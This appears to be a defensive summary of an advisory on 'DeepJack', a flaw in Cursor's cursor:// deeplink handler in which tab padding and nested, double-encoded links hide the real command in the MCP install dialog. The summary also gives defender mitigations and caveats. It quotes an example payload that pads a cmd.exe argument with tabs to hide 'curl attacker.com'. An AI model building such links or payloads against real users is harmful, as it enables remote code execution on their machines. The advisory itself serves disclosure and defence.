The Cursor deeplink vulnerability that turns a “review this PR” click into remote code execution

What it is

DeepJack, as named by Adversa AI, is a bug class in Cursor's cursor:// protocol handler. The specific flaw: the mcp/install endpoint's confirmation dialog renders the server command in a single-line text box with no wrapping and no truncation indicator, so an attacker can pad a benign-looking command with tab characters and hide a malicious tail off-screen.

How it works

Two variants exploit the same dialog weakness:

1. Nested-link variant: An mcp/install URI is double-URL-encoded (encoding ?, &, =) and embedded inside the url parameter of a pr-review deeplink. Cursor parses the outer pr-review link once and never recursively decodes or revalidates the nested url parameter, so the hidden mcp/install payload passes through to the install handler. The victim sees what looks like a GitHub "review this PR" click.
2. Whitespace-padding variant: The install dialog's arguments field is a fixed single-line box. A payload like {"command": "cmd.exe", "args": ["calc \t\t\t...\t & /c start curl attacker.com"]} shows only calc in the dialog; the tabs and the real payload (& /c start curl attacker.com) scroll off the right edge.

Both end the same way: Cursor installs an attacker-controlled MCP server and executes the full, unseen command string unsandboxed under the victim's account.

Preconditions / Affected

• Cursor with the cursor:// deeplink handler registered (default install behavior).
• Reproduced on Cursor 3.4.20 (Windows 11) and confirmed still exploitable on the current build, 3.9.8, as of publication.
• Requires one victim click plus one dialog approval — no silent/zero-click path.
• This is a bypass of the fix shipped for CVE-2025-54133, which was meant to surface install arguments but did not account for off-screen scrolling or nested-link decoding.

What to do

The page gives these concrete defender actions, independent of a vendor patch:

• Allowlist MCP servers via managed settings — permit only named servers from an authenticated source; block any user/agent-initiated install outside that list.
• Filter install/execute deeplink routes at the gateway — specifically block or quarantine cursor://…/mcp/install (and equivalents like vscode://mcp/install, Windsurf's registry install, warp://launch/) at email/Slack/web gateways, the same channels PR-review bait rides in on.
• Monitor what the agent spawns — alert on any new or changed MCP server definition; note generic host EDR is poorly positioned here, the useful signal is comparing what the dialog showed vs. what actually executed, which requires in-path visibility into MCP traffic.

flowchart TD
    A[Attacker sends fake PR-review link] --> B{Cursor decodes outer pr-review URI}
    B -->|not recursively decoded| C[Nested mcp/install URI passes through]
    C --> D[Install dialog shown]
    D --> E{Full command visible?}
    E -->|No - tabs push payload off-screen| F[User approves 'calc']
    F --> G[cmd.exe runs full payload: curl to attacker]
    E -->|Yes, if dialog fixed| H[User sees real command, can reject]

Caveats

• Both reports were closed by Cursor as duplicates of existing internal/external reports, not denied as invalid — Cursor's own triage reportedly named the root cause as "the dialog's single-line text box rendering that enables content to scroll out of view," with an internal report dated April 27 (year not given in the excerpt, context implies recent) predating this disclosure by roughly two months.
• The page's own framing: deeplink delivery is not a zero-click superweapon — it still requires a click and a dialog approval, and its real contribution is "trust laundering" (disguising the install as a routine action) rather than raw new exploitability.
• No proof-of-concept exfiltration beyond calculator/curl-to-attacker-host demo is described; real-world payload content is speculative ("in a real attack...").